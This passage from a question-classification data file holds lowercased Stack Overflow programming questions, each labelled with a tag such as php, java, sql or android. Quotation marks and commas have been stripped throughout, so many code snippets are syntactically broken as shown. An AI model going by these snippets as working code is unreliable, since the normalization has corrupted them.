  while($row = mysqli_fetch_array($results  mysqli_assoc)) {
   echo  &lt;tr&gt;&lt;td&gt; ;
   echo $row[ state ];
   echo  &lt;/td&gt;&lt;td&gt; ;
   echo $row[ id ];
   echo  &lt;/td&gt;&lt;/tr&gt; ;
   }
   
  echo  &lt;/table&gt; ;
  &gt;
 
 &lt;form action= includes/checkbox.inc.php  method= post &gt;
  &lt;input type= hidden  name= checkbox1  value= 0 &gt;
  &lt;input type= checkbox  name= checkbox1  value= 1 
  
 &lt; php
  $sql_2 = mysqli_query($conn   select state from test2 where id =  0  ) or die( error getting data. );
  if ($sql_2 ==  0 ) {
       echo  checked ;
    } else {
       echo    ;
    }
    mysqli_close($conn); 
  &gt; 
  &gt; item 1&lt;br&gt;
  
  
  &lt;input type= hidden  name= checkbox2  value= 0 &gt;
  &lt;input type= checkbox  name= checkbox2  value= 1  checked&gt; item 2&lt;br&gt;
  &lt;input type= submit  name= submit  value= submit &gt;
 &lt;/form&gt;
 &lt;br&gt;
 &lt;a href= http://localhost/testsite2.com/includes/update.inc.php &gt;reset&lt;/a&gt;&lt;br&gt;
 
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     the odd thing about this code is that the <code>if ($sql_2 ==  0 )</code> results in the checkbox remaining unchecked  but changing the 0 to a 1  <code>if ($sql_2 ==  1 )</code> results in the checkbox remaining checked.  both results are regardless of what the database shows.    i know all the other bits of code work  because when i check the checkbox and submit  it updates the database and displays it correctly (the reverse is also true).    if anyone knows why <code>if ($sql_2 ==  0 )</code> is not working  please let me know.   i ve even checked other stack overflow postings  and as far as i can tell  everything should be coded properly.    edit:    i should have stated that in the above question  changing the = to == or reversing the order doesn t fix the problem. the if statement still only returns the else statement.    i ve done additional research and think that the issue is related to the use of <code>mysqli_query</code> to retrieve the data  as it should likely be <code>mysqli_fetch_row</code>.",php
how to append crlf in my uilabel  i am displaying text on a uilabel from xml  i am getting crlf s in the text.so i am not able to append the new lines for my label.this is the code i tried.but iam not getting please help me in this         <pre><code>             nsarray* array = [subhead.description componentsseparatedbystring:@ \r\n ];     nslog(@ count : %d  [array count]);      for(int i=0;i&lt;[array count];i++)      {         nslog(@ %@  [array objectatindex:i]);          nsstring* s = [nsstring stringwithformat:@ %@  [array objectatindex:i]];         // s = [s stringbytrimmingcharactersinset:[nscharacterset controlcharacterset]];          if ([s length]&gt;0){              [str appendstring:[array objectatindex:i]];              [str appendstring:@ \r\n ];flag++;          }else {              nslog(@ two \n\ s  are occured );          }           nslog(@ flag value : %d  flag);      }      nslog(@ string : %@  str);     nslog(@ description : %@  subhead.description);     subheadlabel.text=str; </code></pre>   thanks in advance,iphone
percentage of filled array in java  in this class i need if the array tabletet is filled 75% or not it has to be with a method (readyporosia) it is filled  any better sugestions please   <pre><code>public class porosia {      private string shifraporosia;     private int pozita;     private tableti [] tabletet; /* */     public porosia(string sh  int nr)     {          tabletet = new tableti[nr];         shifraporosia = sh;     }      public void addtablet(tableti t)     {         if(t == null){             system.out.println( tablet can t be added );         }else if(full()){             system.out.println( tablet can t be added.it s full );         }else{             tabletet[pozita++] = t;             system.out.println( tablet added );         }     }      public boolean full()     {         if(pozita &gt;= tabletet.length){             return true;         }         return false;     }      public boolean readyporosia(tableti [] t)     {      ///in here to find the percentage of how much is filled the array         if(percentage &gt;= 75){             return true;         }         return false;      }      public static void main(string[] args)     {         porosia por = new porosia( 12122/2015  50);          por.addtablet(new tableti( samsung  7));         por.addtablet(new tableti( apple  10));         por.addtablet(new tableti( dell  20));          tableti t4 = new tableti( lenovo  2);         por.addtablet(t4);           por.readyporosia(por);     } } </code></pre>,java
bind an object with the same object in an array  i use angular 1.3.x.    i have one big form. in a first step  i can edit the person name in the form so i have an object person bind to the scope and an input with ng-model:   <pre><code>$scope.person = { name:  john  }; </code></pre>   later  in the same form  i have a list of contacts (which is person like above) and in this list i can have again the same person as previous.     i want that the person can be edited in the first part or last part of the form: if i change the name in the first input  it must be changed in the second input and vice versa.     i tries to do something like that:   <pre><code>$scope.contacts = []; $scope.contacts.push(person); </code></pre>   the second form is correctly filled but if i change the name in the first input field  the second input field isn t updated.    any idea how to do that  thanks in advance.,angularjs
class library of constants--best practice   i was using .net reflector on an internal app to try and understand what the previous dev was doing and also to learn.  i have never had <em>actual</em> instruction on how to develop apps so i take from where i can (hooray stack overflow).  that being said i found something that has me confused.  a class library called winconstant containing the below code.      here are my actual question:     <ol> <li> what possible use could this be  </li> <li> what value is there in storing a bunch of constant s in a class library  </li> <li> is this considered a  best practice   </li> </ol>   thoughts and guidance appreciated!   <pre><code> public class clsconstant     public const caccess as string =  access      public const caddress as string =  address      public const ccancel as string =  cancel      public const ccity as string =  city      public const cclear as string =  clear      public const cclickonmessage as string =  click on any row in top pane to see the detail fields in the bottom pane.      public const cclientid as string =  clientid      public const ccolon as string =  :       public const ccomma as string =         public const ccontactid as string =  contactid      public const ccounty as string =  county      public const cdash as string =  -      public const cdelete as string =  delete      public const cdepartment as string =  department      public const cerror as string =  error      public const cexec as string =  exec      public const cfalse as string =  false      public const cfavorite as string =  favorite      public const cfederal as string =  federal      public const cfriday as string =  friday      public const cfrmmain as string =  frmmain      public const cfrmmodulelogin as string =  frmmodulelogin      public const cfrmmodulesplash as string =  frmmodulesplash      public const chelp as string =  help      public const chint as string =  hint      public const cimagepath as string =  ../../image      public const cin as string =  in      public const cinformation as string =  information      public const cinitialscreenid as string =  initialscreenid      public const cinsert as string =  insert      public const cjuvenileid as string =  juvenileid      public const cletter as string =  letter      public const cmanual as string =  manual      public const cmasterid as string =  masterid      public const cmoduleid as string =  moduleid      public const cmodulename as string =  modulename      public const cmonday as string =  monday      public const cname as string =  name      public const cnegative as string =  negative       _     public shared readonly cnlowdate as datetime = new datetime(&h851055320574000)      _     public shared readonly cnulldate as datetime = new datetime     public const cnulldatestring as string =  12:00:00 am      public const cofficeiddefault as string =  01      public const cone as integer = 1     public const cout as string =  out      public const cpopup as string =  popup      public const cpositive as string =  positive      public const cprocess as string =  process      public const cproviderid as string =  providerid      public const cquestion as string =  question      public const cread as string =  read      public const creferralid as string =  referralid      public const creminder as string =  reminder      public const creport as string =  report      public const creportengine as string =  reportengine      public const creportenginepath as string =  reportenginepath      public const creportingservices as string =  reportingservices      public const creportserver as string =  reportserver      public const creportservice as string =  reportservice      public const creportservicelocal as string =  reportservicelocal      public const creportserviceserver as string =  reportserviceserver      public const csaturday as string =  saturday      public const csearch as string =  search      public const cselect as string =  select      public const cspace as string =         public const csqlloginerror as string =  sql server login/password invalid      public const cstart as string =  select a module      public const cstate as string =  state      public const csubjectid as string =  subjectid      public const csunday as string =  sunday      public const cthursday as string =  thursday      public const ctooltipcancel as string =  reset form data values back to before all manual changes.      public const ctooltipclear as string =  clears all data entry fields prior to an insert      public const ctooltipclient as string =  display a client popup window.      public const ctooltipclose as string =  close this form      public const ctooltipdelete as string =  delete the current record being displayed  no undo possible.      public const ctooltipexe as string =  initiate a batch process.      public const ctooltipinsert as string =  insert a brand new record      public const ctooltipsearch as string =  perform a search for values entered.      public const ctooltipselect as string =  perform a select for values entered.      public const ctooltipupdate as string =  update an existing record      public const ctrue as string =  true      public const ctuesday as string =  tuesday      public const cunderscore as string =  ____________________________________________________________      public const cupdate as string =  update      public const cwarning as string =  warning      public const cweb as string =  web      public const cwednesday as string =  wednesday      public const cworkerid as string =  workerid      public const czero as integer = 0     public shared strlongdate as string() = dateandtime.now.tolongdatestring.split(new char() {    c })     public shared strmodulemainstatusstripformid as string = nothing end class </code></pre>,.net
uncaught typeerror: cannot read property  condition  of undefined  this is my code:   <pre><code>var location =  rpxx0022 ; // find the code of your location in the following link and change this value between the single quotes: http://edg3.co.uk/snippets/weather-location-codes/ var unit =  c ;   var wq =  select * from weather.forecast where location=   + location +    and u=   + unit +    ; var cb = math.floor((new date().gettime()) / 1200 / 1000); var wu =  http://query.yahooapis.com/v1/public/yql q=  + encodeuricomponent(wq) +  &amp;format=json&amp;_nocache=  + cb;  window[ ywcb ] = function(data) {     var info = data.query.results.channel.item.condition;     var city = data.query.results.channel.location.city;     var country = data.query.results.channel.location.country;     $( .ywicon ).addclass( wi-yw-  + info[ code ]);     $( #ywloc ).html(city +      + country);     $( #ywtem ).html(info.temp +  &lt;span&gt;  +  &amp;deg;  + (unit.touppercase()) +  &lt;/span&gt; ); };  $.ajax({     url: wu      datatype:  jsonp       cache: true      jsonpcallback:  ywcb  }); </code></pre>   and it gives this error:   <blockquote>    uncaught typeerror: cannot read property  condition  of undefined  </blockquote>,javascript
selectric jquery plugin  i m using selectric jquery plugin. my problem is: i have select. if user selects first option dynamically create new select with compatible options. if user selects second option dynamically create new select with compatible options. my english is very bad i m sorry ;-),jquery
placing all menus in a .c file  is is incorrect to create all program menus in their own separated .c files  i´m creating a small inventory program and since it will use quite a few menus i´m wondering if that is acceptable.    i´ll be using linked lists to enventually access the information in binary files  to create  edit  delete and consult the information related to clientes  suppliers  employes and stocks.    so rather than having all menus in the main.c  i´m not sure wether to place each menu in it´s own .c file or all menus in one menu.c file.    to me it´s easier placing each menu in it´s own .c file since that makes it easy to see the code but will create a lot of .c files.,c
query error  column ambiguos  the query produces an error message. why is this the case  what may be done to correct the query    <pre><code>select name  date from letter  language  city where language = lang_id and place_sent = city_id ; </code></pre>   error:   <blockquote>    query could not be executed : 1052: column  language  in where clause   is ambiguous  </blockquote>,sql
asp.net web service how to restrict access of some methods for some users  in asp.net web service can we restrict some methods to some users. for example  usera should access methoda and methodb  but userb only access methodb. can we do this  if yes then how,asp.net
menu divider image drops too low  have a look at the home icon on the top left hand side of this page:    <a href= http://newslines.org/newslines-rewards/  rel= nofollow >http://newslines.org/newslines-rewards/</a>    you will see a little orange line drop below orange header to the bottom left of the home button. i have been trying for hours to move it up the few pixels necessary. any help most appreciated. thanks!,css
how can i iterate through a twodhashmap in java    i m using the code   <pre><code>twodhashmap&lt;integer  datetime  keynamepair&gt; shiftdetails = new twodhashmap&lt;integer  datetime  keynamepair&gt;(); </code></pre>   please help to iterate over each pair of key!,java
i need to know how to do more with the mechanics of the <datalist tag>  i am writing a code for registering  characters  on my website. note: characters are different from users. i am using a  tag to put options for them when they register a new character. here is my coding (a small bit of it.)   <pre><code> &lt;p&gt; is the character fictional or non-fictional  &lt;/p&gt; &lt;input list= fiction  name= fiction &gt; &lt;datalist id= fiction &gt; &lt;option value= fictional &gt; &lt;option value= non-fictional &gt; </code></pre>   okay  let s say i wanted the users to fill in different details depending on what choice they picked on the entrance above. for example  if they picked fictional  i could ask  in what piece of fiction is this character in   and if they picked non-fictional   what job does this person do      please help me  i ve only started covering coding in less than six months  and i have been busy with school. all help would be appreciated.,html
what s difference between iscallback and isinasyncpostback  i can t find any answer yet on google maybe it s a stupid question :),asp.net
how to place a textview behind another textview   i want to put a textview overlapping another textview in android studio  how should i do it     im using fontawesome as text and i want to put some text on top of the icon.    also i didnt find any question regarding this.     im not an expert in android studio  so sorry if im missing something.,android
when i try to add a class library project i got this error: the tools version 3.5 is unrecognized  when i try to add a class library project i got this error: the tools version 3.5 is unrecognized.    what can i do,.net
unable to extract emails using gmail gem after specified time according to my time zone  i wanted to extract the emails which are received in recent 5 minutes using gmail gem.   <pre><code> gmail.connect(email  password) do |gmail|                                                                       p gmail.inbox.find(:after =&gt; time.zone.now - 5.minutes).count  end </code></pre>   but its giving all the emails which are received today.,ruby-on-rails
how to convert string into bytes in iphone sdk  i want to convert the string into bytes and the string doesn t exceed more than 2 bytes.    can any one give me an idea how to convert the string to bytes and checking it not exceeding 2 bytes.,objective-c
rails email preview  i am developing an application that sends invoices as emails. i m using actionmailer and gmail.    i would like to be able to view those emails on-screen inside the production application.  so  i m not looking for a development environment capture of email.  i want the ability to view the email before you send it.  or look at it on-screen at a later date.    i m looking at these email gems.  but  they seem to be written to test emails.    ryanb/letter_opener    37signals/mail_view    mailcatcher     glebm/rails_email_preview    i would appreciate any advice you have - thanks!    update1    the email is = invoice_mailer/invoice_email.html.erb could that be displayed as a partial in another view      this didn t work:   <pre><code>&lt;%= render :partial =&gt; invoice_mailer/invoice_email  %&gt; </code></pre>   i get:   <pre><code>missing partial invoice_mailer/invoice_email </code></pre>,ruby-on-rails
import variables in python  i ran a python script to create a dict variable based on a database  and then i pickled this variable into disk file for later usage. now i have a lot of feature classes which all need that variable to create different features. the thing is the dict variable is so large that cannot afford to import multiple times. i am wondering if there is a way i can unpickle and import that variable for only once  and then all feature class can share it,python
mysql query efficiency ( use of min)  anyone can help me to optimize this query  i am new on stackoverflow and appreciate any idea.    --   <pre><code>select count(distinct(g2.serialid)) as countresult from g2table g2 inner join      ((select p.serialid as serialid  p.created as created  min(g.starttime) as firstuse        from gtable g inner join             ptable p             on g.serialid = p.serialid        where  (p.created &lt;  2015-05-22 )        group by p.serialid       ) ) as firstuseset      on g2.serialid = firstuseset.serialid  where (firstuseset.firstuse &lt;  2015-05-22 ) and        ((g2.starttime &gt;  2015-05-22 ) and (g2.starttime &lt;  2015-05-23 )) </code></pre>,mysql
sql: find date/time of first valid record in a date range  schema: id         int (pk) datsample  datetime fltvalue   float    i have a table of sample data.     sometimes the sample values are not captured and the record s fltvalue=null will be marked invalid.    i need to run a report within the following date range {datrptstart datrptend}    i must extract &amp; display the first and last valid datsample datetime within the {datrptstart  datrptend} range .    i do need to display/graph both valid and invalid values in the report     example data:    <a href= https://i.stack.imgur.com/nunin.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nunin.png  alt= enter image description here ></a>,sql
how to store the image in the internal memory after clicking on it   get multiple images which are under drawable folder and show it in grid view.    after presenting it in the grid view when we click a particular image  it must be stored in device internal memory. the code what i implemented is shown below   <pre><code>public class example3 extends appcompatactivity {     string[] web = { image1    image2    image3                image4    image5    image6    image7                 image8    image9    image10    image11 };      integer[] displayimages = {r.drawable.image1  r.drawable.image2  r.drawable.image3               r.drawable.image4  r.drawable.image5  r.drawable.image6               r.drawable.image7  r.drawable.image8  r.drawable.image9  r.drawable.image10  r.drawable.image11};     gridview gridview;      @override     protected void oncreate(@nullable bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.example3);          gridview = (gridview) findviewbyid(r.id.gridview1);         gridview.setadapter(new imageadapter(this));          gridview.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; adapterview  view view  int position  long l) {                 toast.maketext(example3.this   you clicked at   + web[+position] +   saved successfully   toast.length_short).show();             }         });     }      private class imageadapter extends baseadapter {          context context;          public imageadapter(context context) {             this.context = context;         }          @override         public int getcount() {             return displayimages.length;         }          @override         public object getitem(int position) {             return position;         }          @override         public long getitemid(int position) {             return position;         }          @override         public view getview(int position  view view  viewgroup viewgroup) {             imageview imageview = new imageview(this.context);             imageview.setimageresource(displayimages[position]);             imageview.setlayoutparams(new gridview.layoutparams(180  150));             return imageview;         }     }  } </code></pre>   my question is - how to store a particular image in the internal memory,android
is there any way to find the currently visible tabs in horizontalscrollview   i have implemented a horizontalscrollview in my tabwidgets to scroll tabs.how do i know which  tabs are currently visible when user scroll the tabs     is there any way to find the currently visible tabs  thanks in advance..,android
android take picture and get path  <pre><code>intent cameraintent = new intent(android.provider.mediastore.action_image_capture);   startactivityforresult(cameraintent  camera_pic_request);  ...  protected void onactivityresult(int requestcode  int resultcode  intent data) {       if (requestcode == camera_pic_request) {           bitmap thumbnail = (bitmap) data.getextras().get( data );           imageview image = (imageview) findviewbyid(r.id.photoresultview);           image.setimagebitmap(thumbnail);       }   </code></pre>   how to get image s path to string,android
what does this line of code mean in jquery   what does this do    <pre><code>&lt;script&gt;window.jquery || document.write( &lt;script src= js/libs/jquery-1.6.2.min.js &gt;\x3c/script&gt; )&lt;/script&gt; </code></pre>,jquery
jquery replace html in span  is there an issue with replacing the contents of a <code>&lt;span</code> in jquery.    i have this;   <pre><code>&lt;span class= dimensionlist &gt;   some html &lt;/span&gt; </code></pre>   and    <pre><code>$( .dimensionlist ).html( &lt;b&gt;this is the new html&lt;/b&gt; ); </code></pre>   what i m finding is that in ff the contents of the span are being added to.  so the new html sits above the old.    in ie6  yes i have to cater for it  it s doing much the same.    <strong>edit</strong>    i have edited the question to show that there is html in the replacement html,jquery
how to test uitableview sliding performance   i want to see the uitableview sliding performance  like scroll velocity  memory occupy etc. can xcode profiler do this  give some numbers or graphics     i am having a problem with uitableview  that has a uiimageview as a subview of uitableviewcell. when i set it s layer s corner property  the uitableview scroll becomes less smooth.,ios
connection is not private in localhost  i am getting an error while debugging a asp.net web application . it says   your connection is not private attackers might be trying to steal your information from localhost (for example  passwords  messages  or credit cards) .this server could not prove that it is localhost;    it s security certificate is from some other machine .what steps should i follow to fix this  is there a problem if i continue anyway   since it is just on localhost.,asp.net
combine text using jquery   i want to combine text using jquery  this is my code:   <pre><code>&lt;textarea id= input1  rows= 4  style= width:100%; margin-top:10px; height:100px; resize:none;  placeholder= text 1  wrap= off &gt;&lt;/textarea&gt; &lt;textarea id= input2  rows= 4  style= width:100%; margin-top:10px; height:100px; resize:none;  placeholder= text 2  wrap= off &gt;&lt;/textarea&gt; &lt;textarea id= input3  rows= 4  style= width:100%; margin-top:10px; height:100px; resize:none;  placeholder= text 3  wrap= off &gt;&lt;/textarea&gt; &lt;textarea id= ouput  rows= 4  style= width:100%; margin-top:10px; height:100px; resize:none;  placeholder= output  wrap= off &gt;&lt;/textarea&gt; &lt;button id= process  type= button  name= clicknow &gt;generate!&lt;/button&gt; </code></pre>   jquery:   <pre><code>&lt;script type= text/javascript  src= https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt; $( #process ).on( click   function(){ var test1 = $( #test1 ).val(); var test2 = $( #test2 ).val(); var test3 = $( #test3 ).val(); $( textarea#output ).append(test1+test2+test3);     }); &lt;/script&gt; </code></pre>   input 1:   <blockquote>    1-one        2-two        3-three  </blockquote>   input 2:   <blockquote>    4-four        5-five        6-six  </blockquote>   input 3:   <blockquote>    7-seven        8-eight        9-nine  </blockquote>   ouput:   <blockquote>    1-one 4-four 7-seven        2-two 5-five 8-eight        3-three 6-six 9-nine  </blockquote>,jquery
regarding log the activities performed in each request life cycle  how to log the activities performed in each request life cycle in asp.net form  is there any better place to log other than endrequest  i also need to catch the error if it occurs during each request.    thanks &amp; regards  gopi thakur,asp.net
how do i select all manager with respective employee <pre><code>id  emp_id  emp_nae  manager_id 1     1      karan      2 2     2      k vedi     3 3     3      somya      2 4     4      kavita     3 5     5      aman       2 </code></pre>,sql
saving textview to sd-card from different activity  i am new to java and android development and i am struggling with an app i am trying to write.    basically the app is for the hockey team i coach and i am trying to record stats from the game.    i have the app running as i want except i want to be able to save the stats at the end of the game to a file on the sd card so i can be accessed later on to review and be reset so a new game can be recorded.    currently i have a new activity opening when a save button is pressed which contains an edittext field so i can name the file what i want  but i cannot work out how to get the information from the activity where the information is being recorded.    so far i have a class called savetosd which is loaded which contains the following code:   <pre><code>import java.io.file; import java.io.fileoutputstream; import java.io.outputstreamwriter; import android.app.activity; import android.os.bundle; import android.os.environment; import android.util.log; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.edittext; import android.widget.toast;  public class savetosd extends activity implements onclicklistener {  button buttonsave; edittext filename; boolean issdavail = false  issdwriteable = false;  @override protected void oncreate(bundle savedinstancestate) {     // todo auto-generated method stub     super.oncreate(savedinstancestate);     setcontentview(r.layout.settings);     buttonsave = (button) findviewbyid(r.id.buttonsave);     filename = (edittext) findviewbyid(r.id.filename);     buttonsave.setonclicklistener(this);     checksdcard(); }  private void checksdcard() {     // todo auto-generated method stub     string state = environment.getexternalstoragestate();     if (environment.media_mounted.equals(state)) {         // write         issdavail = true;         issdwriteable = true;     } else if (environment.media_mounted_read_only.equals(state)) {         // read only         issdavail = true;         issdwriteable = false;     } else {         // stink         issdavail = false;         issdwriteable = false;     } }  @override public void onclick(view v) {     // todo auto-generated method stub     switch (v.getid()) {     case r.id.buttonsave:         log.d( hockey    games );         if (issdavail &amp;&amp; issdwriteable) {             file path = environment.getexternalstoragepublicdirectory(environment.directory_downloads);             string name = filename.gettext().tostring();             file file = new file(path  name +  .txt );              try {                 path.mkdirs();                 fileoutputstream fout = new fileoutputstream(file);                 outputstreamwriter myoutwriter =                                          new outputstreamwriter(fout);                 myoutwriter.write(r.layout.activity_main);                 myoutwriter.close();                 fout.close();                 toast.maketext(getbasecontext()                           done writing sd   +filename.gettext()                          toast.length_short).show();             } catch (exception e) {                 toast.maketext(getbasecontext()  e.getmessage()                          toast.length_short).show();             }             finish();         }         break;     } } } </code></pre>   a file is being created but there is nothing in it as i guess i am not telling it which textviews and their values to grab  but i can t work out how to do this.  also the file is being created in the downloads directory in internal memory as it is being told to but i want it to be saved on the sdcard how do i do that,android
form validation custom directive  i have to make a custom directive for form validation.such that all text inputs will be rendered by that directive. directive should show validations errors as and when required.    <strong>directive call:</strong>   <pre><code>&lt;ff-inputbox data-type= text  data-class= form-control  ng-model= newquote.zipcode  data-name= zipcode  data-id= zipcode  data-placeholder= {{vocab.retrv_savequote.zip_lable}}  data-pattern= /^(\d{5}-\d{4}|\d{5})$/  data-required= required &gt; &lt;/ff-text&gt; </code></pre>   <strong>directive:</strong>   <pre><code>app.directive( ffinputbox   [function ($parse) {         return {                      scope: {               type :  @                 class :  @                 name :  @                 id :  @                 placeholder :  @                 pattern :  @                 required :  @              }              restrict:  e               replace: true              templateurl:  modules/common/directives/ff-inputbox.tpl.html               link: function(scope  elem  attr){               var ar = scope.formname;                          var ar1 = scope.name;              console.log(elem.$error);              }         };           }]); </code></pre>   <strong>ff-inputbox.tpl.html</strong>   <pre><code>&lt;input type={{type}} class={{class}} name={{name}} id={{id}} placeholder={{placeholder}} ng-pattern={{pattern}} required={{required}} minlength= 3 &gt;&lt;/input&gt; </code></pre>   ///////////////////////////////// now i m thinking to use ng-messages for which i require $error list. accordingly i will show error msg on $touched  $valid $submitted conditions. is this a right approach how will i fetch the $error list inside the link function  or should a controller is required here,angularjs
python/tkinter pastes double things(such as a)  because of keypress  i made a simple notepad in python. it goes fine in all commands but cut/copy/paste. here they are:   <pre><code>`def appendsel(e = none):     d = txt.get(sel_first sel_last)     frm.clipboard_append(d) def cut(e = none):     appendsel()     txt.delete(sel_first  sel_last) def paste(e = none):     clipboard = frm.clipboard_get()     clipboard = clipboard.replace( \n    \\n )     try:         start = txt.index( sel.first )         end = txt.index( sel.last )         txt.delete(start  end)     except tclerror:         pass     txt.insert( insert   clipboard)` </code></pre>   when i select  a   ctrl+c  backspace  then ctrl+v  it pastes  a  a  a  a . where is my error so this little program can run fine     <b>the real error i found:</b>error is in keypress. tkinter detect each milisecond of pressing. how can i disable that     ps: kevin  that two chars are necessary for coding or else it doesn t accept upload.,python
embed an html <form> within a larger <form>   i want to have an html form embedded in another form like so:   <pre><code>&lt;form id= form1 &gt;   &lt;input name= val1 /&gt;   &lt;form id= form2 &gt;     &lt;input name= val2 /&gt;     &lt;input type= button  name= submit form 2 only &gt;   &lt;/form&gt; &lt;input type= button  name= submit form 1 data including form 2 &gt; &lt;/form&gt; </code></pre>   i need to submit the entirety of form1  but when i submit form2 i only want to submit the data in form2 (not everything in form1.)  will this work,html
why does this code return as false in c  ok  trying to understand why the if statement below is false.  i ve turned it inside out and can t understand what is going on here.   <pre><code>#define size (sizeof(arr)/sizeof(int))  int main(int argc  char** argv) {     int arr[] = {1 2 3 4 5 6 7 8};      if ( -1 &lt;= size )         printf(  true  );     else         printf(  false  );      return 0;  } </code></pre>,c
when will an idle app be killed on android  does android os kill idle app after few hours. to be specific  is 12 hours of inactivity of an app warrants an eviction  i understand an idle app get evicted if the phone needs more resources for foreground process. if the phone is just not used and an app goes into background  what is the possibility of it getting killed,android
first 3 digits of a string  what is the best way to know the first 3 digits of a string  i have written a function for the same. it is working as expected  but i will like to know if there is a better way to do this.   <pre><code>mysql&gt; select areacode_fun( 233434535 ); +---------------------------+ | areacode_fun( 233434535 ) | +---------------------------+ | 233                       | +---------------------------+ 1 row in set (0.00 sec)  mysql&gt; select areacode_fun( 2 33434535 ); +----------------------------+ | areacode_fun( 2 33434535 ) | +----------------------------+ | 233                        | +----------------------------+ 1 row in set (0.00 sec)  mysql&gt; select areacode_fun( 2a33434535 ); +----------------------------+ | areacode_fun( 2a33434535 ) | +----------------------------+ | 233                        | +----------------------------+ 1 row in set (0.00 sec)  mysql&gt; select areacode_fun( (2a3)3434535 ); +------------------------------+ | areacode_fun( (2a3)3434535 ) | +------------------------------+ | 233                          | +------------------------------+ 1 row in set (0.00 sec) </code></pre>,mysql
sum of length between nodes in a vector  i have the following task: i am doing an implementation of the cheapest insertion method and i am storing my subtours into a <code>vector</code>. after building the <code>vector</code>  i need to find the total length of the distances between the nodes  that are included in the <code>vector</code> (for example i have <code>0-32-41-3-45-0</code> stored in the <code>vector</code>). how can i calculate the total distance  i have the following function:    <pre><code>double tlength = 0; for (vector&lt;int&gt;::iterator i=resultingroute.begin(); i!=resultingroute.end();i++) {      tlength+= distancematrix[*i][*i+1]; } return tlength; </code></pre>   but it is calculating from 0 to 1  then from 32 to 33  41 to 42  and so on. what i need is 0 to 32  32 to 41  41 to 3. i tried to create a second iterator <code>j</code> to start <code>at.begin()+1</code>  but it is repeating the second part of the function too much.   <pre><code>double tlength = 0; for (vector&lt;int&gt;::iterator i=resultingroute.begin(); i!=resultingroute.end()-1;i++) {     for(vector&lt;int&gt;::iterator j=resultingroute.begin()+1;j!=resultingroute.end();j++)     {     tlength+= distancematrix[*i][*j];     } } return tlength; </code></pre>   what is the best way to calculate the length of the tour  thanks.,c++
invalid arguments for open function  here is what i try to do and i use windows and python 3.4 and pyside:   <pre><code>    def computewrite(self):         text = self.lineid.text()         with open(str(readdata.filename)   a ) as myfile:             myfile.write(str(text)) </code></pre>   the above codes are of course a part of a module and when i ran the module  i got an error message as follows:   <pre><code>[errno 22] invalid argument:  &lt;function readdata.filename at 0x0535bf18&gt;  </code></pre>   i am trying to write filename(readdata.filename) in string from other class  like this     <pre><code>def filename():         filename =  inputs2.txt  </code></pre>   i have no idea how to fix the error thing as well. i will appreciate your time and help.,python
routing to an index page specific to a user  i have a posts model and a users model. post belong to users. on the users/show page i want to link to this url:   <pre><code>/users/1/posts </code></pre>   on this page  i will display all the posts created by the user.    i ve tried things like    users/show   <pre><code>&lt;%= link_to  posts   posts_path(@user) %&gt; </code></pre>   posts/index   <pre><code>&lt;% @posts.each do |post| %&gt;   &lt;li&gt;     &lt;%= link_to post.title  post %&gt;   &lt;/li&gt; &lt;% end %&gt; </code></pre>   but this is routing to   <pre><code>/posts.1 </code></pre>   and displaying all posts belonging to all users.,ruby-on-rails
how to rewrite querystring url  need help     assuming i have a site: <code>http://mysite/test.aspx</code>    and i passed a querystring like this: <code>http://mysite/test.aspx id=1234</code>    how can i change the url in the address bar like this: <code>http://mysite/1234</code>  and how can i get the value of <code>1234</code>  can i still use <code>request.querystring[ id ]</code>     i m using c# asp.net.     many thanks guys!,asp.net
reading and writing using system calls  i have to use read a file and write the information to another file using system call. i have opened the file for reading as below<br>     <code>filedesc =  open(argv[1] o_rdonly); //which works fine</code>  opened a file to write as below:      <code>fdw=creat(strcat(store argv[1]) perms) // perms 0666</code> used lseek to reach to the one of file filedesc ( to reverse and print )   <pre><code> #include&lt;stdio.h&gt;  #include&lt;fcntl.h&gt;  #include&lt;sys/stat.h&gt;  #include&lt;unistd.h&gt;  #include&lt;sys/types.h&gt;  #include&lt;string.h&gt;   int main(int argc  char *argv [ ])   {       int filedesc n i fdw pos;      char c;      const char * prefix =  reserve_ ;      int needed = strlen( argv[ 1 ] ) + strlen( prefix ) + 1;      char store[ needed ];      strcpy( store  prefix );       if(argc != 2)    {        printf(  usage : %s filename    argv[0]);      }           //strcat( store  argv[ 1 ] );          //printf(  %s\n   store );         filedesc =  open(argv[1] o_rdonly);          if(filedesc &lt;1 )             {  printf( unable to open file\n );           exit(1); }        if((fdw=creat(strcat(store argv[1]) perms))==-1)       printf( unable to create file please use perror to find details\n );     else printf( file created\n );           if((pos=lseek(filedesc 0 seek_end))==0)          {            printf( empty file\n );             exit(-1);            }          i=pos-1;               //printf( %d  i);              while(i!=0)              {              pos=lseek(filedesc i-1 seek_set);               read(filedesc &amp;c 1);               if( write(fdw &amp;c 1)!=1)  //information is not being written to the file                 printf( error\n );     //pointed by fdw rather getting printed on the                                        //screen                 i--;                                  }          close(filedesc);           close(fdw);                } </code></pre>   problem: if i am running this without first argument  it gives a segmentation fault instead of the usage. please help,c
asp.net httpcontext.current.request.servervariables not working  i m trying to get the public ip address of the client using asp.net (mvc4) app. when i use  <code>httpcontext.current.request.servervariables[ http_x_forwarded_for ]</code> if gives me an empty string  and when i use <code>httpcontext.current.request.servervariables[ remote_addr ]</code> it send a string like this  ::1  (without double quotes). is it related to iis express     how can i get the client ip using asp.net       thanks.,asp.net
transfering audio files from android phone to a website  i want to send a recorded audio file from an android phone to a website. no wires are to be used  this has to be  done in the phone. how can i achieve this  what apis should i use,android
rails :order  can i order by 2 things at the same time  one before the other   so i want to do something like this:   <pre><code>  :order =&gt;  (products.name =  some product  or products.name) desc   :order=&gt; distance  </code></pre>   has anyone done this before  i realize that i cant do it the way i have written  but hope it explains the order i want the orders to happen.,ruby-on-rails
when to put space between a tag name and a class or id  when should i be using this:   <pre><code>header.classname </code></pre>   and when should i use this:     <pre><code>header .classname </code></pre>   and what is the difference between the two,css
